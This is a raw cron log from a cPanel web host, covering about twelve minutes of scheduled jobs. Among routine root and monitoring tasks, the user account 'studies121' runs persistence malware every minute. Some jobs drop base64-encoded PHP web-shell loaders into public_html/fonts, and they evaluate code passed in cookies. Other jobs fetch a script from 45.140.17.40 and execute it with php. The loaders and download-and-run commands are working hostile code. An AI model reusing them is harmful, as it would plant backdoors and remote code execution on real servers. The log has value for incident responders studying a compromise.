Aug 31 09:26:01 ip-184-168-122-23 CROND[4250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:26:01 ip-184-168-122-23 CROND[4251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:26:01 ip-184-168-122-23 CROND[4254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:26:01 ip-184-168-122-23 CROND[4256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:27:01 ip-184-168-122-23 CROND[4353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:27:01 ip-184-168-122-23 CROND[4356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:27:01 ip-184-168-122-23 CROND[4357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:27:01 ip-184-168-122-23 CROND[4355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:28:01 ip-184-168-122-23 CROND[4487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:28:01 ip-184-168-122-23 CROND[4491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:28:01 ip-184-168-122-23 CROND[4492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:28:01 ip-184-168-122-23 CROND[4489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:28:01 ip-184-168-122-23 CROND[4490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:29:01 ip-184-168-122-23 CROND[4688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:29:01 ip-184-168-122-23 CROND[4690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:29:01 ip-184-168-122-23 CROND[4689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:29:01 ip-184-168-122-23 CROND[4691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:30:01 ip-184-168-122-23 CROND[4817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:30:01 ip-184-168-122-23 CROND[4819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:30:01 ip-184-168-122-23 CROND[4822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:30:01 ip-184-168-122-23 CROND[4824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:30:01 ip-184-168-122-23 CROND[4828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:30:01 ip-184-168-122-23 CROND[4825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:30:01 ip-184-168-122-23 CROND[4826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:30:01 ip-184-168-122-23 CROND[4827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:31:01 ip-184-168-122-23 CROND[4993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:31:01 ip-184-168-122-23 CROND[4995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:31:01 ip-184-168-122-23 CROND[4998]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:31:01 ip-184-168-122-23 CROND[5001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:31:01 ip-184-168-122-23 CROND[5000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:32:01 ip-184-168-122-23 CROND[5145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:32:01 ip-184-168-122-23 CROND[5149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:32:01 ip-184-168-122-23 CROND[5148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:32:01 ip-184-168-122-23 CROND[5151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:32:01 ip-184-168-122-23 CROND[5155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:33:01 ip-184-168-122-23 CROND[5301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:33:01 ip-184-168-122-23 CROND[5302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:33:01 ip-184-168-122-23 CROND[5305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:33:01 ip-184-168-122-23 CROND[5304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:34:01 ip-184-168-122-23 CROND[5424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:34:01 ip-184-168-122-23 CROND[5427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:34:01 ip-184-168-122-23 CROND[5426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:34:01 ip-184-168-122-23 CROND[5430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:34:01 ip-184-168-122-23 CROND[5429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:35:02 ip-184-168-122-23 CROND[5547]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:35:02 ip-184-168-122-23 CROND[5548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:35:02 ip-184-168-122-23 CROND[5551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:35:02 ip-184-168-122-23 CROND[5552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:35:02 ip-184-168-122-23 CROND[5553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:35:02 ip-184-168-122-23 CROND[5554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:35:02 ip-184-168-122-23 CROND[5555]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 09:35:02 ip-184-168-122-23 CROND[5556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:36:01 ip-184-168-122-23 CROND[5708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:36:01 ip-184-168-122-23 CROND[5710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:36:01 ip-184-168-122-23 CROND[5711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:36:01 ip-184-168-122-23 CROND[5713]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:36:01 ip-184-168-122-23 CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:37:01 ip-184-168-122-23 CROND[5890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:37:01 ip-184-168-122-23 CROND[5892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:37:01 ip-184-168-122-23 CROND[5893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:37:01 ip-184-168-122-23 CROND[5894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:38:01 ip-184-168-122-23 CROND[5994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:38:01 ip-184-168-122-23 CROND[5997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:38:01 ip-184-168-122-23 CROND[5996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
